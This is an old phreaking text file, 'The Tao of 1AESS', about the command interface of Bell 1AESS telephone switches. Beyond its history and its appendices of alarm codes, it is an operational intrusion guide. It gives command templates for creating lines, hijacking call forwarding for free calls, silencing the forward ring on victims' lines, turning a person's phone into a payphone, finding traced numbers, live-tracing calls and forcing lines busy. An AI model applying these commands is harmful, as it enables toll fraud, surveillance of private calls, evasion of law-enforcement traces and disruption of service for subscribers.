TUCoPS :: Phreaking Technical System Info :: ess03.htm

The TAO of ESS by Deadkat and DisordeR
The Tao of 1AESS


                           -= The Tao of 1AESS =-


                           -= DeadKat&Disorder =-


                  Special thanks to Gatsby and Mark Tabas



The Bell System's first trial of electronic swithcing took place in Morris,

Illinois, in 1960.  The Morris trial culminated a 6-year development and

proved the viability of the stored-program control concept.  The first

application of electronic local switching in the Bell System occurred in May

1965 with the cutover of the first 1ESS switch in Succasunna, New Jersey.

The 1ESS swithcing system was designed for use in areas where large numbers

of lines and lines with heavy traffic (primarily business customers) are

served.  The system has generally been used in areas serving between 10,000

and 65,000 lines and has been the primary replacement system for urban

step-by-step and panel systems.  The ease and flexibility of adding new

services made 1ESS switching equipment a natural replacement vehicle in 

city applications where the demand for new, sophisticated business and

residence services is high.

In 1976, the first electronic toll switching system to operate a digital

time-division switching network under stored-program control, the 4ESS

system, was placed in service.  It used a new control, the 1A processor,

for the first time to gain a call carrying capacity in excess of 550,000

busy-hour calls.  The 1A processor was also designed for local switching

application.  It doubled the call-carrying capacity of the 1ESS switching

system and was introduced in 1976 in the first 1AESS switch.  The network

capacity of 1ESS switching equipment was also doubled to allow the 1AESS

switch to serve 130,000 lines.

In addition to local telephone service, the 1AESS switches offer a variety

of special services.  Custom Local Area Switching Services (CLASS) are 

available as well Custom Calling Services.  Business customers may select

offerings such as centrex, ESS-ACS, Enhanced Private Switched Communications

Service, or electronic tandem switching.

Although more modern switches like 5ESS and DMS 200 have been developed, it

is estimated that some 50 percenct of all switches are still 1AESS.



The 1AESS uses a command line interface for all commands.  The commands are

divided into three fields:  action, identification, and data.  The fields 

are always seperated by a colon.  Every command is terminated by either a

period for verification commands or a 'ballbat' (!) for change commands.  

The control-d is used to execute the command instead of a return.  The 

underscore is used as a backspace.  Commands are always type in 'all caps'.

The action field is the first field of the command and is ended by a colon.

The identification field is ended by the second colon.  The identification

field has one or two subfields which are seperated by a semicolon.  Semicolons

are not used elsewhere in the command.  The data field consists of keyword

units and is the remaining portion of the command.

Basic Machine Commands


These commands provide useful information from the system.  The WHO-RV-

command will tell you what CO it is and what version of the OS is installed.

If your ouput is scrolling off the screen press space to end scrolling.  

The V-STOP- command will clear the buffer.

WHO-RV-.                  System information.

SPACE                     Stops ouput from scrolling.

V-STOP-.                  Free buffer of remaining LENS/INFO.

Channel Commands


Channel commands are used to redirect input and output.  If a switch won't

respond to a command use the OP:CHAN command to check on current channel.

If your channel is not responding, use the MON:CHAN command to switch output

and control to your terminal (the remote).  RC commands cannot be performed

without the ALW command.  You can check the status of the RC with the

RCCENSUS command.

OP:CHAN:MON!              Shows all channels which are being monitored.

MON:CHAN SC1;CHAN LOC!    Redirect output to remote screen.

STOP: MON;CHAN SC1;CHAN LOC!    Redirect output to local screen.

                                (This command needs to be done after you 

                                are finished)

OP:RCCENSUS!              To see recent change status.

Tracing Commands


CI-LIST- will give you a list of all numbers which are being traced 

externally.  It will not show you lines which are being traced only at

this switch.

CI-LIST-.                 Traced line list.

Check Features on Line


The VF command is used to check the current settings on a line.  

The DN XXXXXXX specifies the phone number of the line you wish to check.

Replace XXXXXXX with the seven digit phone number of the line you are 


VF:DNSVY:FEATRS,DN XXXXXXX,1,PIC!       Check features of a line.    

VF:DNSVY:DN XXXXXXX,1,LASFTRS!          Display last Features

          Call Features   CWT- Call Waiting

                          CFB- Call Forward Busy - Busy=VM

                          CFV- Call Forwarding Variable

                          CFD- Call Forward Don't answer

                          TWC- Three Way Calling

                          TTC- Touch Tone

                          RCY- Ring Cycle

                          SC1- Speed Calling 1

                          SC2- Speed Calling 2

                          UNA- No Long Distance 

                          PXX- Block all LD service (guess)

                          MWI- Message Waiting Indicator

                          CHD- centrix(unremarkable)

                          CPU- centrix(unremarkable)

                          CLI- Calling Line Identification (CID)

                          ACB- Automatic Call Back Feature (?)

                          BLN- Special Toll Billing



                          FRE- Free Calling


The standard output of a command appears below.  The 'DN 348 2141' specifies

the number you are checking.  The calling features will be listed on the 

second line by their three letter acronyms.  This line has call waiting

(CWT), a trace (TRC), and touch tone dialing (TTC).

M 53 TR75 2 DN 348 2141 00000003

              CWT  TRC  TTC                                     

Searching For Free Lines


The VFY command can be used to check if a line is in use.  The output will

list the LEN (Line Equipment Number) for the line and its call features in 

octal.  If the LEN is all zeros, then that number has not been assigned.

Replace XXXXXXX with the number you wish to check.  You must prefix the

phone number with 30.  You can also check for unused LEN's using the VFY 

command.  Use the space bar to stop scrolling and the V-STOP command to  

cancle when looking up free LEN's.

VFY-DN-30XXXXXXX.               Search for free lines.

VFY-LEN-4100000000.             List all free LENs.

VFY-TNN-XXXXXXXX.               To get information on trunk.

The output for the VFY-DN command will appear like the one below.  Notice                               

that this number has been assigned a LEN so it is in use.

M 06 TR01 796 9146           

         0 0 0 0                                     

         LEN 01 025 000         

         001 000 000 000 000 000 4

         000 000 000 000 000 000 000 000

         0 0 0 0               

         0 0 0 0 0                                  


Searching for a Paticular Feature on a Line (trace)


All line information is stored in the switch for its coverage area.  The 

switch is like a huge database in this sense.  You can do global searches

on the switch for any feature.  One especially interesting feature to search

for are traced numbers.  Traced numbers listed this way are INTERNALLY 

traced as opposed to globally traced numbers shown with the CI-LIST- command.

Global and internal trace lists are always very different.  And remember,

be a good samaritan and call the person being traced and let them know!  ;-)

VF:DNSVY:FEATRS,EXMATCH TRACE!          Pull all numbers IN switch area with

                                        trace on it (takes a sec).

You can exmatch for any LASS feature by replacing the keyword TRACE with any 

call feature like call forwarding (CFB) and speed calling (SC1).

To See What Numbers Are on a Speed Calling List


Another nice use for the VFY command is to see what is on a line's speed

calling list.  Replace XXXXXXX with the target phone number.  One devious

use is to look at the CO's speed call list to find other internal telco



         09=mask  02=single list  (one digit speed calling)

                  20=double list  (two digit speed calling)

                  28=     "                   "

                  36=     "                   "

                  44=     "                   "

To Build a Line


The recent change command (RC) is used to create and modify lines.  Because

RC commands are usually very long and complex, they are typed on multiple

lines to simplify them.  Each subfield of the data section of the command is

typed on a seperate line ended by a slash (\) followed by pressing ctrl-d.

To create a line, you specify LINE in the identification field.  Before 

a line can be created, you must first locate an unused number by using the

VFY-DN command explained above.  Once a free number has been found, you

use the VFY-LEN to find an available LEN.  To build a new line, follow

these steps:

First, find spare LEN (VFY-LEN-4100000000.).  Next find free line. Now type

in the RC commands using the following commands as a template:

RC:LINE:\         (create a line)

ORD 1\            (execute the command immediately)

TN XXXXXXX\       (telephone number)

LEN XXXXXXXX\     (len found from above)

LCC 1FR\          (line class code 1fr)

CFV\              (call forward)

XXX 288\          (type XXX, space, then the three digit PIC)

                   ld carrier -  222 - MCI

                                 288 - AT&T

                                 333 - Sprint, etc.)

!                 (BEWM, don't forget the ctrl-d!!)

(Look for RCXX blah blah ACPT blah - This means the RECENT CHANGE 

 has taken affect)

Creating Call Forwarding Numbers


The call forwarding feature is the most important feature for hackers.  By

creating a line or modifying an existing line with call forwarding, you can

than use it to make free phone calls.  You set the line to call forward/

no ring and then give it the call forwarded number.  This will allow you

to call the modified line and be instantly forwarded to your pre-chosen


First create a line using RC:LINE:, then modify the line using the following

commands as a template.

RC:CFV:\          (add call forwarding to a line)

ORD 1\            (execute the command immediately)

BASE XXXXXXX\     (base number you are changing)

TO XXXXXXX\       (local - XXXXXXX : ld - XXXXXXXXXX )

PFX\              (set prefix to 1 if ld)

!                 (BEWM)

To Change Call Forward Number


It is safer to modify an existing call forward than to create a new line 

soley for this purpose.  You can use the VFY command and EXMATCH for CFB to

find lines with call forwarding.  Before you can change the call forwarding

'TO' number you must delete the old one.  Remove call forward number using 

CFV:OUT with the template below.

RC:CFV;OUT:\      (remove call forward number)

ORD 1\            (execute command immediately)             

BASE XXXXXXX\     (number to remove it from)             

!                 (Yeeee-Hahhhahah)

Make Call Forward Not Ring


The only drawback to call forwarding off someone's line is if rings they

might answer.  To get around this, you add the call-forward no-ring option

(ICFRR) using the following as a template.

RC:LINE;CHG:\     (recent change line to be specified)

ORD 1\            (execute command immediately)

TN XXXXXXX\       (number you wanna fuck with)

ICFRR\            (this takes the ring off)

!                 (Go!)

Adding a feature to a line 


The RC:LINE;CHG: can also be used to add any other call feature.  Use the

same template but change the feature.

RC:LINE;CHG:\     (this is used for changing features)

ORD 1\            (order number)

TN XXXXXXX        (telephone number you are fucking with)

TWC\              (replace this with any feature you wish)

!                 (Fire!)

Removing a Feature


Use the NO delimiter to remove a feature from a line.

RC:LINE;CHG:\     (change a feature)

ORD 1\            (effective immediately)

TN XXXXXXX\       (telephone number)

CFV NO\           (feature followed by NO)


Change Phone number into payphone


You've read about in the Hacker Crackdown, now you too can be 31337 and 

change Gail Thackery's phone into a payphone.  In fact you can change the

line class code (LCC) to anything you want.  To display the LCC of a line

use the following and replace the XXXXXXX with the line you wish to view.

VF:DNSVY:LCC,DN XXXXXXX,1,PIC!    (display line class code)

                                   DTF = Payphone

                                   1FR = Flat Rate

                                   1MR = Measured Rate

                                   1PC = One Pay Phone

                                   CDF = DTF Coin

                                   PBX = Private Branch Exchange

                                   CFD = Coinless(ANI7) Charge-a-call

                                   INW = InWATS  (800!@#)

                                   OWT = OutWATS 

                                   PBM = O HO/MO MSG REG (NO ANI)

                                   PMB = LTG = 1 HO/MO (Regular ANI6)

                                   (ani6 and ani7 - only good for DMS)

To change the line into a payphone use the RC:LINE;CHG command and modify

the LCC like the example below.

RC:LINE;CHG;\     (this is used for changing features)

ORD 1\            (order number)

TN XXXXXXX\       (telephone number you are fucking with)

LCC DTF\          (line class code you are changing to)

!                 (Make it so.)

*(may have to remove features when doing this)*

To Kill a Line and Remove It Permanently


If you need to delete a line you have created (or haven't) use the following


RC:LINE;OUT:\     (remove line)

ORD 1\            (effective immediately)

TN XXXXXXX\       (on this number)

!                 (GO!)

Monitoring Phone Calls


There are powerful utilities to monitor calls and affect phone lines 

available on a 1A.  The T-DN- commands allow you to check the current

status of line and make it busy or idle.  If a line happens to be active

you can use the NET-LINE- command to trace the call and find the numbers

for both calling parties.

T-DN-RD XXXXXXX.                See if call in progress.

                                        ouput:  =1 line busy

                                                =0 line idle

T-DN-MB XXXXXXX.                Make line busy.

T-DN-MI XXXXXXX.                Make line idle.

NET-LINE-XXXXXXX0000.           To do a live trace on a phonenumber thru 


NET-TNN-XXXXXX                  Same as above for trunk trace


Appendix 1 - Common output messages seen on 1A switches


      ** ALARM **

AR01  Office alarm

AR02  Alarm retired or transferred

AR03  Fuse blown

AR04  Unknown alarm scan point activated

AR05  Commercial power failure

AR06  Switchroom alarm via alarm grid

AR07  Power plant alarm

AR08  Alarm circuit battery loss

AR09  AMA bus fuse blown

AR10  Alarm configuration has been changed (retired,inhibited)

AR11  Power converter trouble

AR13  Carrier group alarm

AR15  Hourly report on building and power alarms


AT01  Results of trunk test

      ** CARRIER GROUP **

CG01  Carrier group in alarm

CG03  Reason for above

      ** COIN PHONE **

CN02  List of pay phones with coin disposal problems

CN03  Possible Trouble

CN04  Phone taken out of restored service because of possible coin fraud

      ** COPY **

COPY  Data copied from one address to another

      ** CALL TRACE **

CT01  Manually requested trace line to line, information follows

CT02  Manually requested trace line to trunk, information follows

CT03  Intraoffice call placed to a number with CLID

CT04  Interoffice call placed to a number with CLID

CT05  Call placed to number on the CI list

CT06  Contents of the CI list

CT07  ACD related trace

CT08  ACD related trace

CT09  ACD related trace


DCT COUNTS Count of T carrier errors


DGN   Memory failure in cs/ps diagnostic program


FM01  DCT alarm activated or retired

FM02  Possible failure of entire bank not just frame

FM03  Error rate of specified digroup

FM04  Digroup out of frame more than indicated

FM05  Operation or release of the loop terminal relay

FM06  Result of digroup circuit diagnostics

FM07  Carrier group alarm status of specific group

FM08  Carrier group alarm count for digroup

FM09  Hourly report of carrier group alarms

FM10  Public switched digital capacity failure

FM11  PUC counts of carrier group errors

      ** MAINTENANCE **

MA02  Status requested, print out of MACII scratch pad

MA03  Hourly report of system circuits and units in trouble

MA04  Reports condition of system

MA05  Maintenance interrupt count for last hour

MA06  Scanners,network and signal distributors in trouble

MA07  Successful switch of duplicated unit (program store etc.)

MA08  Excessive error rate of named unit

MA09  Power should not be removed from named unit

MA10  OK to remove paper

MA11  Power manually removed from unit

MA12  Power restored to unit

MA13  Indicates central control active

MA15  Hourly report of # of times interrupt recovery program acted

MA17  Centrex data link power removed

MA21  Reports action taken on MAC-REX command

MA23  4 minute report, emergency action phase triggers are inhibited

      ** MEMORY **

MN02  List of circuits in trouble in memory


NT01  Network frame unable to switch off line after fault detection

NT02  Network path trouble Trunk to Line

NT03  Network path trouble Line to Line

NT04  Network path trouble Trunk to Trunk

NT06  Hourly report of network frames made busy

NT10  Network path failed to restore





OP:CISRC     Source of critical alarm, automatic every 15 minutes

OP:CSSTATUS  Call store status

OP:DUSTATUS  Data unit status

OP:ERAPDATA  Error analysis database output

OP:INHINT    Hourly report of inhibited devices

OP:LIBSTAT   List of active library programs

OP:OOSUNITS  Units out of service

OP:PSSTATUS  Program store status


PM01  Daily report

PM02  Monthly report

PM03  Response to a request for a specific section of report

PM04  Daily summary of IC/IEC irregularities

      ** REPORT **

REPT:ADS FUNCTION  Reports that a ADS function is about to occur


REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned



REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable

REPT:PROG CONT OFF-NORMAL System programs that are off or on

REPT:RC CENSUS Hourly report on recent changes

REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)

      ** RECENT CHANGE **

RC18  RC message response

      ** REMOVE **

RMV   Removed from service

      ** RESTORE **

RST   Restored to service status


RT04  Status of monitors

      ** SOFTWARE AUDIT **

SA01  Call store memory audit results

SA03  Call store memory audit results


SIG IRR  Blue box detection


SIG IRR TRAF  Half hour report of traffic data


TC15  Reports overall traffic condition

TL02  Reason test position test was denied

TL03  Same as above

      ** TRUNK NETWORK **

TN01  Trunk diagnostic found trouble

TN02  Dial tone delay alarm failure

TN04  Trunk diag request from test panel

TN05  Trunk test procedural report or denials

TN06  Trunk state change

TN07  Response to a trunk type and status request

TN08  Failed incoming or outgoing call

TN09  Network relay failures

TN10  Response to TRK-LIST input, usually a request from test position

TN11  Hourly, status of trunk undergoing tests

TN16  Daily summary of precut trunk groups


TOC01 Serious traffic condition

TOC02 Reports status of less serious overload conditions

      ** TRANSLATION **  (shows class of service, calling features etc.)

TR01  Translation information, response to VFY-DN

TR03  Translation information, response to VFY-LEN

TR75  Translation information, response to VF:DNSVY

      **             **

TW02  Dump of octal contents of memory

Trace Output Appearance (Customer COT)

A 03 CT04 22 03 02  05 11 26  359  757 0617    <-- NUMBER CALLED

         CPN 303 323 8320                      <-- WHO CALLED


         01/14/95  22:03:02                    <-- TIME/DATE

         #236                                  <-- JOB NUMBER

Appendix 2 - Miscellaneous 1A Commands found on logs from CO dumpsters:


RMV::NPC 69!


UTL::QRY.SCON to 135!        (as far out as   to 12003!)

UTL::QRY.SCON 13615/01!






GRTH::UNIT1!       (FT100) <-- comment written by command

GRTH::UNI1,FTMI1, EQL(L,R)     (2,2) <-- Example









SDIS::FROM 11204/03.TO 11204/04!


UTL::QRY.CMAP.TO 11204/03!

UTL::QRY,CMAP 01117!

SCON::RATE 96.FROM 11204/03.TO 11204/4!







UTL::LOC,NPC 01117!

 output -    1-01-38



                   |_________38(1/8) inches

Appendix 3 - Suggested reading


Acronyms 1988 (Phrack #20, file 11)

Central Office Operations by Agent Steal (LoDTJ #4, file 4)

ESS & 1A Switching Systems by Ninja Master

The Fine Art of Telephony by Crimson Flash (Phrack #38, file 7)

Guide to 5ESS by Firm G.R.A.S.P. (Phrack #43, file 16)

Lifting Ma Bell's Cloak of Secrecy by VaxCat (Phrack #24, file 9)

Operator Services Position System by Bandito (Phun #5, file 8)

Peering Into the soul of ESS by Jack the Ripper (Phun #5, file 2)

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